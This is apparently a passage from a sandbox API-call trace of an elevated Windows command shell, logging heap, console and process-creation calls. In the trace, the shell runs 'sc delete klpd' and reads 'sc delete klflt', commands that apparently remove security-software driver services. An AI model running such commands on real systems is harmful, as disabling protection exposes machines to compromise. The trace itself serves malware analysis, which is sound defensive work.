lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.658] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.658] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.658] GetProcessHeap () returned 0x4a0000 [0072.658] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.658] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.658] GetProcessHeap () returned 0x4a0000 [0072.658] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x96) returned 0x4b9180 [0072.658] GetProcessHeap () returned 0x4a0000 [0072.658] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x96 [0072.658] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klpd") returned 1 [0072.659] GetProcessHeap () returned 0x4a0000 [0072.659] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.659] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.659] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.659] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.659] GetProcessHeap () returned 0x4a0000 [0072.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.659] GetProcessHeap () returned 0x4a0000 [0072.659] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.659] GetProcessHeap () returned 0x4a0000 [0072.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.659] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klpd", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klpd", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete klpd", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x994, dwThreadId=0x9a4)) returned 1 [0072.667] CloseHandle (hObject=0x54) returned 1 [0072.667] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.667] GetProcessHeap () returned 0x4a0000 [0072.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.667] GetEnvironmentStringsW () returned 0x4bba10* [0072.667] GetProcessHeap () returned 0x4a0000 [0072.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.668] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0072.668] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.668] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.668] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.744] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.744] CloseHandle (hObject=0x50) returned 1 [0072.744] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.744] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.744] GetProcessHeap () returned 0x4a0000 [0072.744] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.745] GetEnvironmentStringsW () returned 0x4c1b10* [0072.745] GetProcessHeap () returned 0x4a0000 [0072.745] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.745] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.745] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.745] GetProcessHeap () returned 0x4a0000 [0072.745] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.745] GetEnvironmentStringsW () returned 0x4bba10* [0072.745] GetProcessHeap () returned 0x4a0000 [0072.745] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.745] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0072.745] GetProcessHeap () returned 0x4a0000 [0072.745] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.745] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.745] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.746] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.746] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.746] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.746] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.746] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.746] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.746] GetConsoleOutputCP () returned 0x1b5 [0072.746] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.746] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.747] GetProcessHeap () returned 0x4a0000 [0072.747] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.747] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.747] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.747] GetFileType (hFile=0x120) returned 0x3 [0072.747] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.748] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.748] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.748] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.748] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.748] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.748] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.748] GetFileType (hFile=0x120) returned 0x3 [0072.748] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.748] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.748] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.748] GetFileType (hFile=0xb8) returned 0x3 [0072.748] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.748] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.748] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.748] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.748] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.748] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.749] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.749] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.749] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.749] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.749] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.749] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.749] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.749] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.749] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.749] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.749] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.749] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.749] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.749] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.749] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.749] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.749] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.749] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.749] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.749] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.750] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.750] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.750] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.750] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.750] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.750] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.750] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.750] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.750] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.750] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.750] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.750] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.750] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.750] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.750] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.750] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.750] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.750] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="klpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.750] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.750] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.751] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.751] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lpd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.751] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.751] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.751] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.751] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="fd\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.751] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.751] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.751] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.751] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="l\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.751] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.751] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.751] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.751] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="t8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.751] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.751] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.751] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.751] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.751] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.751] GetFileType (hFile=0xb8) returned 0x3 [0072.751] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.751] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.752] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.752] GetFileType (hFile=0x120) returned 0x3 [0072.752] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klflt\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klflt\n", lpUsedDefaultChar=0x0) returned 17 [0072.752] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x10, lpOverlapped=0x0) returned 1 [0072.752] GetProcessHeap () returned 0x4a0000 [0072.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.752] GetProcessHeap () returned 0x4a0000 [0072.752] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.752] GetProcessHeap () returned 0x4a0000 [0072.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.752] GetProcessHeap () returned 0x4a0000 [0072.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.752] GetProcessHeap () returned 0x4a0000 [0072.752] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2c) returned 0x4b6510 [0072.752] GetConsoleOutputCP () returned 0x1b5 [0072.752] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.752] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.753] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.753] GetProcessHeap () returned 0x4a0000 [0072.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.753] GetProcessHeap () returned 0x4a0000 [0072.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6550 [0072.753] GetProcessHeap () returned 0x4a0000 [0072.753] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0072.753] SetErrorMode (uMode=0x0) returned 0x1 [0072.753] SetErrorMode (uMode=0x1) returned 0x0 [0072.753] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.753] SetErrorMode (uMode=0x1) returned 0x1 [0072.753] GetProcessHeap () returned 0x4a0000 [0072.753] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0072.753] GetProcessHeap () returned 0x4a0000 [0072.753] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0072.753] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.754] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.754] 